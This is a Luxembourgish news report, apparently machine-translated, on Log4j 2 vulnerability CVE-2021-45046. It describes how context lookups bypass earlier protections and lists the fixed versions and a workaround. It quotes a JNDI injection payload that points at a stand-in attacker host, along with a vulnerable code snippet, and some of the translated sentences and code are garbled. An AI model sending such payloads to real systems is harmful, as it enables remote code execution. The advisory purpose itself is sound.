Eng aner Schwachstelle gouf identifizéiert an der Ëmsetzung vu JNDI Lookups an der Log4j 2 Bibliothéik (CVE-2021-45046), déi erschéngt trotz de Fixer déi an der Verëffentlechung 2.15 bäigefüügt ginn an onofhängeg vun der Notzung vun der "log4j2.noFormatMsgLookup" Astellung fir Schutz. De Problem ass geféierlech haaptsächlech fir eeler Versioune vu Log4j 2, geschützt mat dem "noFormatMsgLookup" Fändel, well et et méiglech mécht de Schutz vu fréiere Schwachstelle ëmzegoen (Log4Shell, CVE-2021-44228), wat Iech erlaabt Äre Code op der Server. Fir Benotzer vun der Versioun 2.15 ass d'Ausbeutung limitéiert fir d'Applikatioun ze crashen wéinst Ausschöpfung vun verfügbare Ressourcen.
D'Schwachheet erschéngt nëmmen op Systemer déi Kontext Lookups fir Logbicher benotzen, wéi ${ctx:loginId}, oder MDC Templates (Thread Context Map), wéi %X, %mdc, an %MDC. D'Operatioun kënnt erof op d'Schafe vun Konditioune fir Daten auszeginn déi JNDI Ersatzstécker am Logbuch enthalen wann Dir Kontextufroen oder MDC Templates an der Applikatioun benotzt, déi d'Regele fir d'Formatéierung vum Output zum Log definéieren.
Fuerscher vu LunaSec bemierken datt fir Versioune vu Log4j manner wéi 2.15 dës Schwachstelle kann als neie Vektor fir e Log4Shell Attack benotzt ginn, wat zu Code Ausféierung féiert wann ThreadContext Ausdréck déi extern Daten enthalen an der Logausgang benotzt ginn, egal ob de " noMsgFormatLookups" oder d'Schabloun "%m{nolookups}".
De Schutz ëmgoen kënnt op d'Tatsaach erof datt amplaz vun der direkter Ersatzstéck vun "${jndi:ldap://attacker.com/a}", dësen Ausdrock duerch de Wäert vun enger Zwëschvariabel ersat gëtt, déi an de Regele benotzt gëtt fir de Logausgang ze formatéieren . Zum Beispill, wann d'Kontext Ufro ${ctx:apiversion} benotzt gëtt beim Ausgab an de Logbuch, da kann d'Attack duerchgefouert ginn andeems d'Daten "${jndi:ldap://attacker.com/a}" an d'Ersetzen Wäert op d'Apiversion Variabel geschriwwen. Beispill vu vulnerable Code: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) {// Den HTTP-Headerwäert vun "X-Api-Version" gëtt an den ThreadContext ThreadContext.put("apiversion) weidergeleet ", apiVersion); // Wann Dir an de Log erausgeet, gëtt den externen Apiversion-Wäert mat der Substitutioun veraarbecht ${ctx:apiversion} logger.info ("Eng Ufro fir API Versioun kritt"); zréck "Moien, Welt!"; }
An der Log4j Versioun 2.15 kann d'Vulnerabilitéit benotzt ginn fir DoS Attacken auszeféieren wann Dir Wäerter un den ThreadContext passéiert, wat zu enger Loop an der Outputformatéierungsschablounveraarbechtung resultéiert.
Fir d'Schwachheet ze blockéieren, goufen Updates 2.16 an 2.12.2 publizéiert. An der Log4j 2.16 Branche, zousätzlech zu de Fixer, déi an der Versioun 2.15 implementéiert sinn an der Bindung vu JNDI LDAP Ufroen un "localhost", ass d'JNDI Funktionalitéit komplett ausgeschalt par défaut an d'Ënnerstëtzung fir Message Substitutioun Templates gëtt geläscht. Als Sécherheetsléisung gëtt proposéiert d'JndiLookup Klass aus dem Klassewee ze läschen (zum Beispill "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Dir kënnt d'Erscheinung vu Fixer a Packagen op de Verdeelungssäiten (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) an Java Plattform Hiersteller verfollegen (GitHub, Docker, Oracle, vmWare, Broadcom an Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Source: opennet.ru